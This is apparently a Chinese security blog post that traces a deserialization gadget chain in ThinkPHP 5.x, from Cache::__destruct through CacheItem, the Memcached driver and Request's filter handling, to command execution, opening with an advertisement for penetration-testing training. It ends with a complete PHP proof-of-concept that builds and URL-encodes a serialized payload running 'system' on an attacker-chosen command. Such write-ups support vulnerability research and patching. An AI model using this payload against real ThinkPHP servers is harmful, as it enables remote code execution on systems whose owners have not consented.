ThinkPHP 5.x 另一条反序列化利用链
【推荐学习】暗月渗透测试培训 十多年渗透经验,体系化培训渗透测试 、高效学习渗透测试,欢迎添加微信好友aptimeok 咨询。

__destruct和__wakeup也就那么几个,师傅们大多都是利用thinkprocesspipesWindows类的__destruct,后续再利用__toString继续寻找利用链。POP链分析
thinkCache找到了些苗头,利用它的__destruct函数。
$this->deferred是可控的,save函数参数也就是可控的。
$item完全可控,它必须是一个CacheItemInterface对象。
thinkcacheCacheItem类,发现$item->getKey(), $item->get(), $item->getExpire()都是可控的。


回到save函数,跟进set函数。

跟进init函数,可以看到,我们将$this->handler设置为任意对象他都会返回。

现在全局搜索含有set函数的类,在thinkcachedriverMemcached找到。

跟进其中的has函数,我们看到$this->handler又是可控的,又可以返回任意对象。

再全局搜索get函数,看到think/Request里面有,分析过最开始的5.1反序列化的POP链的人都知道,最后的RCE点就在这个类。get函数里有input函数,前两个参数完全可控。

进入input函数,想要进入下面的filterData函数且满足第一个参数可控

那么我们进入getData函数,我们知道$data和$name都是可控的,那么getData函数的返回也是可控的。

然后顺利进入filterData函数。

因为getFilter函数中的$this-filter可控,所以getFilter函数也是可控的。

最后进入filterValue函数,终于到了RCE的点了。

最后测试
<?php
namespace think{
class Cache{
protected $deferred;
protected $handler;
function __construct($Memcached, $CacheItem){
$this->handler = $Memcached;
$this->deferred = array(” => $CacheItem);
}
}
}
namespace thinkcache{
class CacheItem{
protected $key;
protected $value;
protected $expire;
function __construct($name, $value){
$this->key = $name;
$this->value = $value;
$this->expire = null;
}
}
}
namespace thinkcachedriver{
class Memcached{
protected $option;
protected $handler;
protected $tag = 1;
protected $writeTimes = 0;
function __construct($Request){
$this->handler = $Request;
$this->option = array(‘prefix’=>”);
}
}
}
namespace think{
class Request
{
protected $filter;
protected $get;
protected $mergeParam;
function __construct(){
$this->filter = “system”;
$this->get = array(“jrxnm”=>”id”);
$this->mergeParam = true;
}
}
}
namespace{
$r = new thinkRequest();
$c = new thinkcacheCacheItem(‘jrxnm’, ”);
$m = new thinkcachedriverMemcached($r);
$b = new thinkCache($m,$c);
echo urlencode(serialize($b));
}
总结
原创文章,作者:mOon,如若转载,请注明出处:https://www.moonsec.com/4564.html

